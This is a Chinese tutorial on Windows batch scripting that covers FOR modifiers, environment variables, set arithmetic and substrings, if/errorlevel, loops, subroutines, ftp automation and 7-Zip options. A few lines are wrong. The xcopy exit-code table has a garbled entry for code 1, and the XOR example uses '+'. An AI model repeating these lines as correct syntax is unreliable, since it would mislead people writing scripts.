我就不打结果了,大家自己复制代码看结果吧,下面几个都是这么个用法,代码给出来,大家自己看结果吧!

五、 %~nI - 仅将 %I 扩展到一个文件名

只打印文件名字
FOR /F "delims==" %%i IN ('dir /b') DO @echo %%~ni
pause

六、 %~xI - 仅将 %I 扩展到一个文件扩展名
只打印文件的扩展名
FOR /F "delims==" %%i IN ('dir /b') DO @echo %%~xi
pause

七、 %~sI - 扩展的路径只含有短名
打印绝对短文件名
FOR /F "delims==" %%i IN ('dir /b') DO @echo %%~si
pause

八、 %~aI - 将 %I 扩展到文件的文件属性
打印文件的属性
FOR /F "delims==" %%i IN ('dir /b') DO @echo %%~ai
pause

九、 %~tI - 将 %I 扩展到文件的日期/时间
打印文件建立的日期
FOR /F "delims==" %%i IN ('dir /b') DO @echo %%~ti
pause

十、 %~zI - 将 %I 扩展到文件的大小
打印文件的大小
FOR /F "delims==" %%i IN ('dir /b') DO @echo %%~zi
pause

龙卷风补充：上面例子中的"delims=="可以改为"delims="，即不要分隔符

十一、 %~$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩展
到找到的第一个完全合格的名称。如果环境变量名
未被定义，或者没有找到文件，此组合键会扩展到
空字符串
这是最后一个,和上面那些都不一样,我单独说说!

然后在把这些代码保存为批处理,放在桌面。
@echo off
FOR /F "delims=" %%i IN (“notepad.exe”) DO echo %%~$PATH:i
pause

龙卷风补充：上面代码显示结果为 C:\WINDOWS\system32\notepad.exe

他的意思就在 PATH 变量里指定的路径里搜索 notepad.exe 文件，如果有 notepad.exe 则会把他所在绝对路径打印出来，没有就打印一个错误！

好了,FOR 的的变量就介绍到这了!

BY　伤脑筋

第四章 批处理中的变量

批处理中的变量,我把他分为两类,分别为"系统变量"和"自定义变量"

我们现在来详解这两个变量!

一、系统变量

他们的值由系统将其根据事先定义的条件自动赋值,也就是这些变量系统已经给他们定义了值,
不需要我们来给他赋值,我们只需要调用而以!　我把他们全部列出来!

%ALLUSERSPROFILE% 本地 返回“所有用户”配置文件的位置。
%APPDATA% 本地 返回默认情况下应用程序存储数据的位置。
%CD% 本地 返回当前目录字符串。
%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。
%CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。
%COMPUTERNAME%　系统 返回计算机的名称。
%COMSPEC%　系统 返回命令行解释器可执行程序的准确路径。
%DATE%　系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关

date 命令的详细信息，请参阅 Date。
%ERRORLEVEL%　系统 返回上一条命令的错误代码。通常用非零值表示错误。
%HOMEDRIVE%　系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用

户主目录是在“本地用户和组”中指定的。
%HOMEPATH%　系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。

%HOMESHARE%　系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是

在“本地用户和组”中指定的。
%LOGONSERVER%　本地 返回验证当前登录会话的域控制器的名称。
%NUMBER_OF_PROCESSORS%　系统 指定安装在计算机上的处理器的数目。
%OS%　系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
%PATH% 系统 指定可执行文件的搜索路径。

%PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。
%PROCESSOR_ARCHITECTURE% 系统 返回处理器的芯片体系结构。值：x86 或 IA64 基于

Itanium
%PROCESSOR_IDENTFIER% 系统 返回处理器说明。
%PROCESSOR_LEVEL% 系统 返回计算机上安装的处理器的型号。
%PROCESSOR_REVISION% 系统 返回处理器的版本号。
%PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
%RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录（即系统根目录）

的驱动器。
%SYSTEMROOT% 系统 返回 Windows server operating system 根目录的位置。
%TEMP% 和 %TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。

有些应用程序需要 TEMP，而其他应用程序则需要 TMP。
%TIME% 系统 返回当前时间。使用与 time /t 命令相同的格式。由 Cmd.exe 生成。有关

time 命令的详细信息，请参阅 Time。
%USERDOMAIN% 本地 返回包含用户帐户的域的名称。
%USERNAME% 本地 返回当前登录的用户的名称。
%USERPROFILE% 本地 返回当前用户的配置文件的位置。
%WINDIR% 系统 返回操作系统目录的位置。

这么多系统变量,我们如何知道他的值是什么呢?
在 CMD 里输入 echo %WINDIR%
这样就能显示一个变量的值了!

举个实际例子,比如我们要复制文件到当前帐号的启动目录里就可以这样

copy d:\1.bat "%USERPROFILE%\「开始」菜单\程序\启动\"

%USERNAME% 本地 返回当前登录的用户的名称。 注意有空格的目录要用引号引起来

另外还有一些系统变量,他们是代表一个意思,或者一个操作!

他们分别是%0 %1 %2 %3 %4 %5 .....一直到%9 还有一个%*

%0 这个有点特殊,有几层意思,先讲%1-%9 的意思.

%1 返回批处理的第一个参数

%2 返回批处理的第二个参数
%3-%9 依此推类

反回批处理参数?到底怎么个返回法?

我们看这个例子,把下面的代码保存为 test.BAT 然后放到 C 盘下

```
@echo off
echo %1 %2 %3 %4
echo %1
echo %2
echo %3
echo %4
```

进入 CMD,输入 cd c:\
然后输入 test.bat 我是第一个参数 我是第二个参数 我是第三个参数 我是第四个参数

注意中间的空格,我们会看到这样的结果:

```
我是第一个参数 我是第二个参数 我是第三个参数 我是第四个参数
我是第一个参数
我是第二个参数
我是第三个参数
我是第四个参数
```

对比下代码,%1 就是”我是第一个参数” %2 就是”我是第二个参数”
怎么样理解了吧!

这些%1 和%9 可以让批处理也能带参数运行,大大提高批处理功能!

还有一个%* 他是什么呢?他的作用不是很大,只是返回参数而已,不过他是一次返回全部参数的值,不用在输入%1 %2 来确定一个个的

例子

```
@echo off
echo %*
```

同样保存为 test.bat 放到 C 盘
进入 CMD,输入 cd c:\
然后输入 test.bat 我是第一个参数 我是第二个参数 我是第三个参数 我是第四个参数

可以看到他一次把全部参数都显示出来了

好现在开始讲那个比较特殊的%0

%0　这个不是返回参数的值了,他有两层意思!

第一层意思:返回批处理所在绝对路径

例子:
@echo off
echo %0
pause

保存为 test.BAT 放在桌面运行,会显示如下结果
"C:\Documents and Settings\Administrator\桌面\test.bat"

他把当前批处理执行的所在路经打印出来了,这就是返回批处理所在绝对路径的意思

第二层意思:无限循环执行 BAT

例子:
@echo off
net user
%0

保存为 BAT 执行,他就会无限循环执行 net user 这条命令,直到你手动停止.
龙卷风补充：其实%0 就是第一参数%1 前面那个参数，当然就是批处理文件名（包括路径）。

以上就是批处理中的一些系统变量,另外还有一些变量,他们也表示一些功能,
FOR 命令中的那些就是,FOR 变量已经说过,就不讲了.

二、自定义变量

故名思意,自定义变量就是由我们来给他赋予值的变量

要使用自定义变量就得使用 set 命令了,看例子.

@echo off
set var=我是值
echo %var%
pause

保存为 BAT 执行,我们会看到 CMD 里返回一个　"我是值"

var 为变量名,=号右变的是要给变量的值
这就是最简单的一种设置变量的方法了

如果我们想让用户手工输入变量的值,而不是在代码里指定,可以用用 set 命令的/p 参数

例子:

```
@echo off
set /p var=请输入变量的值
echo %var%
pause
```

var 变量名　=号右边的是提示语,不是变量的值
变量的值由我们运行后自己用键盘输入!

好了批处理的变量先介绍到这,关于 set 命令,下次再写个专门的文章吧.
by 伤脑筋

第五章 set 命令详解

很久没发贴了,今天来写点讲 BAT 的新手教学贴!

在上一贴中我简单的介绍了一下 SET 设置自定义变量的作用,现在我来具体讲一下 set 的其他功能.

一、用 set 命令设置自定义变量

显示、设置或删除 cmd.exe 环境变量。
SET [variable=[string]]
　variable　指定环境变量名。
　string　　指定要指派给变量的一系列字符串。
要显示当前环境变量，键入不带参数的 SET。
SET 命令不允许变量名含有等号。

例子:

```
@echo off
set var=我是值
echo %var%
pause
```

请看 set var=我是值 ,这就是 BAT 直接在批处理中设置变量的方法!
set 是命令　var 是变量名　=号右边的"我是值"是变量的值
在批处理中我们要引用这个变就把 var 变量名用两个%(百分号)扩起来,如%var%

SET 还可以提供一个交互界面,让用户自己输入变量的值,然后我们在来根据这个值来做相应操作,现在我就来说说 SET 的这种语法,只需要加一

个"/P"参数就可以了!
SET /P variable=[promptString]

例子:
@echo off
set /p var=请输入变量的值:
echo 您输入了 %var% ~_~
pause

set /p 是命令语法 var 是变量名 =号右边的"请输入变量的值: ",这个是提示语,不是变量的值了!
运行后,我们在提示语后面直接输入 1,就会显示一行您输入了 1 ~_~

好了,先回顾到这,现在讲 SET 其他功能

使用 set /?查看 SET 的帮助我们发现 SET 除了我上面讲的
SET [variable=[string]]
SET /P variable=[promptString]
这两种语法外,还有如下几种语法:
SET /A expression
环境变量替换已如下增强:
%PATH:str1=str2%
%PATH:~10,5%
%PATH:~-10%
%PATH:~0,-2%

这机种语法有什么用处呢?下面我们来一个个讲解他们!

二、用 set 命令进行简单计算
语法：SET /A expression
/A 命令行开关指定等号右边的字符串为被评估的数字表达式。该表达式
评估器很简单并以递减的优先权顺序支持下列操作:

()	-分组
! ~ -	-一元运算符
* / %	-算数运算符
+ -	-算数运算符
<< >>	-二进制逻辑移位
&	-二进制按位“与”
^	-二进制按位“异”
|	-二进制按位“或”
= *= /= %= += -=	-算数赋值
&= ^= |= <<= >>=	-二进制运算赋值
,	-表达式分隔符

上面这些是系统帮助里的内容,看着是不是有点晕，没关系我来简单解释一下:
set 的/A 参数就是让 SET 可以支持数学符号进行加减等一些数学运算!

现在开始举例子介绍这些数学符号的用法:
例：
```
@echo off
set /p input=请输入计算表达式：
set /a var=%input%
echo 计算结果：%input%=%var%
pause
```
上面的例子是龙卷风设计的，很好用哟，请看下面几个运算过程：
注意：DOS 计算只能精确到整数

```
请输入计算表达式：1+9+20+30-10
计算结果：1+9+20+30-10=50
请按任意键继续. . .
```

```
请输入计算表达式：10/3
计算结果：10/3=3   #DOS 计算精确到整数，小数舍了。
请按任意键继续. . .
```

```
请输入计算表达式：-100+62
计算结果：-100+62=-38
请按任意键继续. . .
```

```
请输入计算表达式：100%3       ＃求余数
计算结果：100%3=1
请按任意键继续. . .
```

```
请输入计算表达式：(25+75)*2/(15+5)
计算结果：(25+75)*2/(15+5)=10
请按任意键继续. . .
```

```
请输入计算表达式：1234567890*9876543210
无效数字。数字精确度限为 32 位。
计算结果：1234567890*9876543210=
请按任意键继续. . .
```

注意：上面的计算过程显示，DOS 计算只能精确到 32 位，这个 32 位是指二进制 32 位，其中最高位为符号位（0 为正，1 为负），低位 31 位为数值。

31 个 1 换成十进制为 2147483647，所以 DOS 计算的有效值范围是-2147483647 至 2147483647，超出该数值范围时计算出错，请看下面的计算过程：

请输入计算表达式：2147483647-1　　＃最大值减 1，值有效
计算结果：2147483647-1=2147483646
请按任意键继续. . .

运行 set /a a=1+1,b=2+1,c=3+1 后会显示一个 4,但我们用
echo %a% %b% %c%后看结果,会发现其他数学运算也有效果!,这就是"逗"号的作用!

有时候我们需要直接在原变量进行加减操作就可以用这种语法
set /a var+=1　这样的语法对应原始语法就是 set /a var = %var% + 1
都是一样的结果,在原变量的值上在进行数学运算,不过这样写简单一点
再来一个:
set /a var*=2
其他都这么用,只要帮助里有这个语法!

另外还有一些用逻辑或取余操作符,这些符号,按照上面的使用方法会报错的

比如我们在 CMD 里输入 set /a var=1 & 1 "与运算",他并不会显示为 1,而是报错,
为什么?对于这样的"逻辑或取余操作符",我们需要把他们用双引号引起来,也可以用转义字符^，看例子

set /a var= 1 "&" 1 这样结果就显示出来了,其他逻辑或取余操作符用法
set /a var= 1 "+" 1 异运算
set /a var= 1 "%" 1　取模运算
set /a var= 3 "<<" 2 左移位运算， 3 的二进制为 11，左移 2 位为 1100，换成十进制就是 12,自行验证
set /a var= 4 ">>" 2 右移位运算，4 的二进制为 100，右移动 2 位为 1，结果为 1
还有几个数学不太行,搞不清楚了....不列出来了,
龙卷风补充：凡是按位计算均需换算成二进制，下面行中的符号均针对二进制
这些符号也可以用&= ^= |= <<= >>= 这样的简单用法如
set /a var"&=" 1 等于 set /a var = %var% "&" 1 注意引号

思考题：求 2 的 n 次方
答案：
@echo off
set /p n=请输入 2 的几次方:
set /a num=1^<^<n
echo %num%
pause

三、用 set 命令进行字符串处理
1、字符串替换
好了，符号说到这，现在说%PATH:str1=str2%
上面语法的意思就是：将字符串变量%PATH%中的 str1 替换为 str2

这个是替换变量值的内容,看例子

```
@echo off
set a= bbs. verybat. cn
echo 替换前的值: "%a%"
set var=%a: =%
echo 替换后的值: "%var%"
pause
```

运行显示：（龙卷风添加）

```
替换前的值: " bbs. verybat. cn"
替换后的值: "bbs.verybat.cn"
```

对比一下,我们发现他把变量%a%的空格给替换掉了,从这个例子,我们就可以发现
%PATH:str1=str2%这个操作就是把变量%PATH%的里的 str1 全部用 str2 替换

比如我们把上面的例子改成这样

```
@echo off
set a=bbs.verybat.cn
echo 替换前的值: "%a%"
set var=%a:.=伤脑筋%
echo 替换后的值: "%var%"
pause
```

运行显示：

```
替换前的值: "bbs.verybat.cn"
替换后的值: "bbs 伤脑筋 verybat 伤脑筋 cn"
```

解释 set var=%a:.=伤脑筋%

set 是命令 var 是变量名 字 a 是要进行字符替换的变量的值,"."为要替换的值,
"伤脑筋"为替换后的值!
执行后就会把变量%a%里面的"."全部替换为"伤脑筋"
这就是 set 的替换字符的很好的功能！替换功能先讲到这，下面将字符串截取功能

2、字符串截取

```
**********************************************
```

截取功能统一语法格式为：%a:~[m[,n]]%

```
**********************************************
```

方括号表示可选，%为变量标识符，a 为变量名，不可少，冒号用于分隔变量名和说明部分,
符号～可以简单理解为“偏移”即可，m 为偏移量（

缺省为 0），n 为截取长度（缺省为全部）

%PATH:~10,5% 这个什么意思,看例子:

截取功能例子 1：

```
@echo off
set a=bbs.verybat.cn
set var=%a:~1,2%
echo %var%
pause
```

执行后,我们会发现只显示了"bs"两个字母,我们的变量%a%的值不是为 bbs.verybat.cn 吗？怎么只显示了第 2 个字母和第 3 个字母"bs",分析一结果我们就可以很容易看出
%PATH:~10,5%就是显示变量 PATH 里从 11 位（偏移量 10）开始的 5 个字符!
分析 set var=%a:~1,2%
　set 是命令，var 是变量值，a 要进行字符操作的变量，"1"从变量"a"第几位开始显示，"2"表示显示几位。
合起来就是把变量 a 的值从第 2 位（偏移量 1）开始,把 2 个字符赋予给变量 var
这样应该明白了吧~

其他两种语法
%PATH:~-10%
%PATH:~0,-2%
他们也是显示指定变量指定几位的值的意思

%PATH:~-10% 看例子

截取功能例子 2：

```
@echo off
set a=bbs.verybat.cn
set var=%a:~-3%
echo %var%
pause
```

运行结果：.cn
这个就是把变量 a 倒数 3 位的值给变量 VAR

当然我们也可以改成这样
截取功能例子 3：

```
@echo off
set a=bbs.verybat.cn
set var=%a:~3%
echo %var%
pause
```

运行显示：.verybat.cn
这个就是把变量 a 的从第 3 位开始后面全部的值给变量 VAR

%PATH:~0,-2%　例子

截取功能例子 4：

```
@echo off
set a=bbs.verybat.cn
set var=%a:~0,-3%
echo %var%
pause
```

执行后,我们发现显示的是"bbs.verybat",少了".cn"
从结果分析,很容易分析出,这是把变量 a 的值从 0 位开始,
到倒数第三位之间的值全部赋予给 var

如果改成这样

截取功能例子 5：

```
@echo off
set a=bbs.verybat.cn
set var=%a:~2,-3%
echo %var%
pause
```

运行显示：s.verybat
那么他就是显示从第 3 位（偏移量 2）开始减去倒数三位字符的值,并赋予给变量 var

讲得好，例子就是说明问题，为便于记忆，龙卷风小节如下：

```
a=bbs.verybat.cn
%a:~1,2%    ＝“bs”     偏移量 1，从第二位开始向右取 2 位
%a:~-3%     ＝“.cn”    偏移量负 3，即倒数 3 位（也可理解为留下右边 3 位），右取全部
%a:~3%      ＝“.verybat.cn”  偏移量 3（也可理解为去掉左边 3 位），右取全部
%a:~0,-3%   ＝“bbs.verybat”  偏移量 0，右取长度至负 3，即倒数 3 位
%a:~2,-3%   ＝“s.verybat”    偏移量 2，右取长度至负 3，即倒数 3 位
```

****
所以，截取功能统一语法格式为：%a:~[m[,n]]%
****
方括号表示可选，%a%为变量名，不可少，冒号用于分隔变量名和说明部分，符号～可以简单理解为“偏移”即可，m 为偏移量（缺省为 0），n

为截取长度（缺省为全部）
上面所述用法其实相当于 vbs 函数 mid、left、right

```
%a:~0,n%   相当于函数 left(a,n)   取左边 n 位
%a:~-m%    相当于函数 right（a,m）  取右边 m 位
%a:~m,n%  相当于函数 mid(a,m+1,n)  从 m+1 位开始取 n 位
%a:~m,-n%  相当于函数 mid(a,m+1,len(a)-m-n)
%a:~m %    相当于函数 mid(a,m+1,len(a)-m)  或者 right(a,len(a)-m)
```

思考题目：输入任意字符串，求字符串的长度

参考答案：

```
@echo off
set /p str=请输入任意长度的字符串:
echo 你输入了字符串:"%str%"
if not defined str (pause & goto :eof)
set num=0
:len
set /a num+=1
set str=%str:~0,-1%
if defined str goto len
echo 字符串长度为：%num%
pause
```

好了 set 的一些用法,就介绍到这了,希望对各位有所帮助,时间不早睡觉 Zz....

by 伤脑筋

第六章 if 命令讲解

最近发现有些朋友一老问 IF 命令的用法,IF 命令个人觉得很简单,所以就一直没把发放到新手教学贴里说,现在我给补上一文,希望对各位"非常

BAT 的"新手朋友们有所帮助.

现在开始:

在 CMD 使用 IF /?打开 IF 的系统帮助(自己看我就不全部列出来了),我们会发现 IF 有 3 种基本的用法!
执行批处理程序中的条件处理。

```
IF [NOT] ERRORLEVEL number command
IF [NOT] string1==string2 command
IF [NOT] EXIST filename command
```

NOT 指定只有条件为 false 的情况下， Windows XP 才应该执行该命令。

ERRORLEVEL number 如果最后运行的程序返回一个等于或大于指定数字的退出编码，指定条件为 true。

string1==string2 如果指定的文字字符串匹配，指定条件为 true。

EXIST filename 如果指定的文件名存在，指定条件为 true。

command　　如果符合条件，指定要执行的命令。如果指定的条件为 FALSE，命令后可跟一个执行 ELSE 关键字后的命令的 ELSE 命令。

ELSE 子句必须在 IF 之后出现在同一行上。例如:

```
IF EXIST filename (
    del filename
) ELSE (
    echo filename missing
)
```

第一种用法：IF [NOT] ERRORLEVEL number command

这个用法的基本做用是判断上一条命令执行结果的代码,以决定下一个步骤.
一般上一条命令的执行结果代码只有两结果,"成功"用 0 表示　"失败"用 1 表示.

举个例子:

```
@echo off
net user
IF %ERRORLEVEL% == 0 echo net user 执行成功了!
pause
```

这是个简单判断上条命令是否执行成功.
细心的朋友可能会发现,这个用法和帮助里的用法不太一样,按照帮助里的写法"IF %ERRORLEVEL% == 0 echo net user 执行成功了!　"这一句

代码应该写成:IF ERRORLEVEL 0 echo net user 执行成功了!
那为什么我要写成这样呢?各位自己把代码改掉执行后,就会发现错误了!用这种语法,不管你的上面的命令是否执行成功,他都会认为命令成功了

,不知道是 BUG 还是本人理解错误...

补充：这不是 bug，而是 if errorlevel 语句的特点：当使用 if errorlevel 0 …… 的句式时，它的含义是：如果错误码的值大于或等于 0 的

时候，将执行某个操作；当使用 if %errorlevel%==0 …… 的句式时，它的含义是：如果错误码的值等于 0 的时候，将执行某操作。因为这两

种句式含义的差别，如果使用前一种句式的时候，错误码语句的排列顺序是从大到小排列

%ERRORLEVEL% 这是个系统变量,返回上条命令的执行结果代码!"成功"用 0 表示　"失败"用 1 表示. 当然还有其他参数,用的时候基本就这两数字

.
一般上一条命令的执行结果代码只有两结果,"成功"用 0 表示　"失败"用 1 表示
　　这只是一般的情况，实际上，errorlevel 返回值可以在 0~255 之间，比如，xcopy 默认的 errorlevel 值就有 5 个，分别表示 5 种执行状态：

退出码 说明
0 文件复制没有错误。
1 if errorlevel 2 echo。
2 用户按 CTRL+C 终止了 xcopy。
4 出现了初始化错误。没有足够的内存或磁盘空间，或命令行上输入了无效的驱动器名称或语法。
5 出现了磁盘写入错误。

要判断上面 xcopy 命令的 5 种退出情况，应写成：
if errorlevel 5 echo 出现了磁盘写入错误
if errorlevel 4 echo 出现了初始化错误
if errorlevel 2 echo 用户按 CTRL+C 终止了 xcopy
if errorlevel 1 echo if errorlevel 2 echo
if errorlevel 0 echo 文件复制没有错误。
才能正确执行。

补充完毕。

再举几个例子给新手理解
```
@echo off
net usertest
IF %ERRORLEVEL% == 1 echo net user 执行失败了!
pause
```

这个是判断上一条命令是否执行失败的

```
@echo off
set /p var=随便输入个命令:
%var%
if %ERRORLEVEL% == 0 goto yes
goto no
:yes
echo !var! 执行成功了
pause
exit
:no
echo 基本上执行失败了..
pause
```

这个是根据你输入的命令,自动判断是成功还是失败了!

在来一个简化版的

```
@echo off
set /p var=随便输入个命令:
%var%
if %ERRORLEVEL% == 0 (echo %var%执行成功了) ELSE echo %var%执行失败了!
pause
```

else 后面写上执行失败后的操作!

当然我门还可以把 if else 这样的语句分成几行写出来,使他看上去好看点...

```
@echo off
set /p var=随便输入个命令:
%var%
if %ERRORLEVEL% == 0    (
    echo !var!  执行成功了
    ) ELSE (
    echo  基本上执行失败了..
    )
pause
```

这里介绍的两种简写对 IF 的三种语法都可以套用,不单单是在 IF [NOT] ERRORLEVEL number command
这种法上才能用

第二种用法：IF [NOT] string1==string2 command

这个呢就是用来比较变量或者字符的值是不是相等的.

例子

```
@echo off
set /p var=请输入第一个比较字符:
set /p var2=请输入第二个比较字符:
if %var% == %var2% (echo  我们相等) ELSE echo  我们不相等
pause
```

上面这个例子可以判断你输入的值是不是相等,但是你如果输入相同的字符,但是如果其中一个后面打了一个空格,
这个例子还是会认为相等,如何让有空格的输入不相等呢?我们在比较字符上加个双引号就可以了.

```
@echo off
```

```
set /p var=请输入第一个比较字符:
set /p var2=请输入第二个比较字符(多输入个空格试试):
if "%var%" == "%var2%" (echo 我们相等) ELSE echo 我们不相等
pause
```

第三种用法：IF [NOT] EXIST filename command

这个就是判断某个文件或者文件夹是否存在的语法

例子

```
@echo off
if exist "c:\test" (echo 存在文件) ELSE echo 不存在文件
pause
```

判断的文件路径加引号是为了防止路径有空格,如果路径有空格加个双引号就不会出现判断出错了!

这个语法没什么太多的用法,基本就这样了,就不多介绍了.

另外我们看到每条 IF 用法后都有个[NOT]语句,这啥意思?其他加上他的话,就表示先判断我们的条件不成立时,
没加他默认是先判断条件成立时,比如上面这个例子

```
@echo off
if not exist "c:\test" (echo 存在文件) ELSE echo 不存在文件
pause
```

加个 NOT,执行后有什么结果,如果你的 C 盘下根本就没 c:\test,他还是会显示"存在文件",这就表示了加了 NOT 就
会先判断条件失败!懂了吧,上面例子改成这样就正确了!

```
@echo off
if not exist "c:\test" (echo 不存在文件) ELSE echo 存在文件
pause
```

第四种用法：IF 增强的用法

```
IF [/I] string1 compare-op string2 command
IF CMDEXTVERSION number command
IF DEFINED variable command
```

后面两个用法,我不做介绍,因为他们和上面的用法表示的意义基本一样,只简单说说 IF [/I] string1 compare-op string2 command 这个语句

在判断字符时不区分字符的大小写。

CMDEXTVERSION 条件的作用跟 ERRORLEVEL 的一样，除了它是在跟与命令扩展名有关联的内部版本号比较。第一个版本是 1。每次对命令扩展名有相当大的增强时，版本号会增加一个。命令扩展名被停用时，CMDEXTVERSION 条件不是真的。

如果已定义环境变量，DEFINED 条件的作用跟 EXISTS 的一样，除了它取得一个环境变量，返回的结果是 true。

```
@echo off
if a == A (echo 我们相等) ELSE echo 我们不相等
pause
```

执行后会显示：我们不相等

```
@echo off
if /i a == A (echo 我们相等) ELSE echo 我们不相等
pause
```

加上/I 不区分大小写就相等了!

最后面还有一些用来判断数字的符号

EQU - 等于
NEQ - 不等于
LSS - 小于
LEQ - 小于或等于
GTR - 大于
GEQ - 大于或等于

我就举一个例子,大家都懂数学...不讲多了

```
@echo off
set /p var=请输入一个数字:
if %var% LEQ  4 (echo 我小于等于 4) ELSE echo 我不小于等于 4
pause
```

BY 伤脑筋

第七章 DOS 编程高级技巧

本章节乃龙卷风根据自己平时学用批处理的经验而总结的，不断补充中……。

一、交互界面设计

没啥说的，看看高手设计的菜单界面吧：

```
@echo off
cls
title  终极多功能修复
:menu
cls
color 0A
echo.
echo                            ============================
echo                            请选择要进行的操作，然后按回车
echo                            ============================
echo.
echo                    1.网络修复及上网相关设置,修复 IE,自定义屏蔽网站
echo.
echo                    2.病毒专杀工具，端口关闭工具,关闭自动播放
echo.
echo                    3.清除所有多余的自启动项目，修复系统错误
echo.
echo                    4.清理系统垃圾,提高启动速度
echo.
echo                    Q.退出
echo.
echo.
:cho
set choice=
set /p choice=                  请选择:
IF NOT "%choice%"=="" SET choice=%choice:~0,1%
if /i "%choice%"=="1" goto ip
if /i "%choice%"=="2" goto setsave
if /i "%choice%"=="3" goto kaiji
if /i "%choice%"=="4" goto clean
if /i "%choice%"=="Q" goto endd
echo 选择无效，请重新输入
echo.
goto cho
```

只要学完本教程前面的章节，上面的程序应该能看懂了。

二、if…else…条件语句

前面已经谈到，DOS 条件语句主要有以下形式

IF [NOT] ERRORLEVEL number command

IF [NOT] string1==string2 command

IF [NOT] EXIST filename command

增强用法：IF [/I] string1 compare-op string2 command

增强用法中加上/I 就不区分大小写了!
增强用法中还有一些用来判断数字的符号：

EQU - 等于
NEQ - 不等于
LSS - 小于
LEQ - 小于或等于
GTR - 大于
GEQ - 大于或等于

上面的 command 命令都可以用小括号来使用多条命令的组合，包括 else 子句，组合命令中可以嵌套使用条件或循环命令。

例如:

```
IF EXIST filename (
    del filename
) ELSE (
    echo filename missing
)
```

也可写成：
if exist filename (del filename) else (echo filename missing)
但这种写法不适合命令太多或嵌套命令的使用。

三、循环语句

1、指定次数循环
FOR /L %variable IN (start,step,end) DO command [command-parameters]

组合命令：
FOR /L %variable IN (start,step,end) DO (
Command1
Command2
……
)

2、对某集合执行循环语句。
FOR %%variable IN (set) DO command [command-parameters]

%%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 对每个文件执行的命令，可用小括号使用多条命令组合。

FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]

检查以 [drive:]path 为根的目录树，指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录，则使用当前
目录。如果集仅为一个单点(.)字符，则枚举该目录树。

同前面一样，command 可以用括号来组合：
FOR /R [[drive:]path] %variable IN (set) DO (
Command1
Command2
……
commandn
)

3、条件循环
利用 goto 语句和条件判断，dos 可以实现条件循环，很简单啦，看例子：

```
@echo off
set var=0
rem ************循环开始了
:continue
set /a var+=1
echo 第%var%此循环
if %var% lss 100 goto continue
rem ************循环结束了
echo 循环执行完毕
pause
```

四、子程序

在批处理程序中可以调用外部可运行程序，比如 exe 程序，也可调用其他批处理程序，这些也可以看作子程序，但是不够方便，如果被调用的程

序很多，就显得不够简明了，很繁琐。
在 windowsXP 中，批处理可以调用本程序中的一个程序段，相当于子程序，这些子程序一般放在主程序后面。

子程序调用格式：
CALL :label arguments

子程序语法：
:label
command1
command2

...
commandn
goto :eof

传至子程序的参数在 call 语句中指定，在子程序中用%1、%2 至%9 的形式调用，而子程序返回主程序的数据只需在调用结束后直接引用就可以了

，当然也可以指定返回变量，请看下面的例子。

子程序例 1：
@echo off
call :sub return 你好
echo 子程序返回值：%return%
pause

:sub
set %1=%2
goto :eof
运行结果：你好

子程序例 2：设计一个求多个整数相加的子程序
@echo off
set sum=0
call :sub sum 10 20 35
echo 数据求和结果：%sum%
pause

:sub
rem 参数 1 为返回变量名称
set /a %1=%1+%2
shift /2
if not "%2"=="" goto sub
goto :eof

运行结果：65

在 win98 系统中，不支持上面这种标号调用，须将子程序单独保存为一个批处理程序，然后调用。

五、用 ftp 命令实现自动下载

ftp 是常用的下载工具，ftp 界面中有 40 多个常用命令，自己学习了，不介绍了。这里介绍如何用 dos 命令行调用 ftp 命令，实现 ftp 自动登录，并

上传下载，并自动退出 ftp 程序。
其实可以将 ftp 命令组合保存为一个文本文件，然后用以下命令调用即可。

ftp -n -s:[[drive:]path]filename

上面的 filename 为 ftp 命令文件，包括登录 IP 地址，用户名、密码、操作命令等
例：
open 90.52.8.3 ＃打开 ip
user iware ＃用户为 iware
password8848 ＃密码
bin ＃二进制传输模式
prompt
cd tmp1 ＃切换至 iware 用户下的 tmp1 目录
pwd
lcd d:\download ＃本地目录
mget * ＃下载 tmp1 目录下的所有文件
bye ＃退出 ftp

六、用 7-ZIP 实现命令行压缩和解压功能

语法格式：（详细情况见 7-zip 帮助文件，看得头晕可以跳过，用到再学）
7z <command> [<switch>...] <base_archive_name> [<arguments>...]

7z.exe 的每个命令都有不同的参数<switch>,请看帮助文件
<base_archive_name>为压缩包名称
<arguments>为文件名称，支持通配符或文件列表

其中，7z 是至命令行压缩解压程序 7z.exe，<command>是 7z.exe 包含的命令，列举如下：

a： Adds files to archive. 添加至压缩包
a 命令可用参数：
-i (Include)
-m (Method)
-p (Set Password)
-r (Recurse)
-sfx (create SFX)
-si (use StdIn)
-so (use StdOut)
-ssw (Compress shared files)
-t (Type of archive)
-u (Update)
-v (Volumes)
-w (Working Dir)
-x (Exclude)

b： Benchmark

d： Deletes files from archive. 从压缩包中删除文件
d 命令可用参数：
-i (Include)
-m (Method)
-p (Set Password)
-r (Recurse)
-u (Update)
-w (Working Dir)
-x (Exclude)

e： Extract 解压文件至当前目录或指定目录
e 命令可用参数：
-ai (Include archives)
-an (Disable parsing of archive_name)
-ao (Overwrite mode)
-ax (Exclude archives)
-i (Include)
-o (Set Output Directory)
-p (Set Password)
-r (Recurse)
-so (use StdOut)
-x (Exclude)
-y (Assume Yes on all queries)

l： Lists contents of archive.
t： Test
u： Update

x： eXtract with full paths 用文件的完整路径解压至当前目录或指定目录
x 命令可用参数：
-ai (Include archives)
-an (Disable parsing of archive_name)
-ao (Overwrite mode)
-ax (Exclude archives)
-i (Include)
-o (Set Output Directory)
-p (Set Password)
-r (Recurse)
-so (use StdOut)
-x (Exclude)
-y (Assume Yes on all queries)

七、调用 VBScript 程序

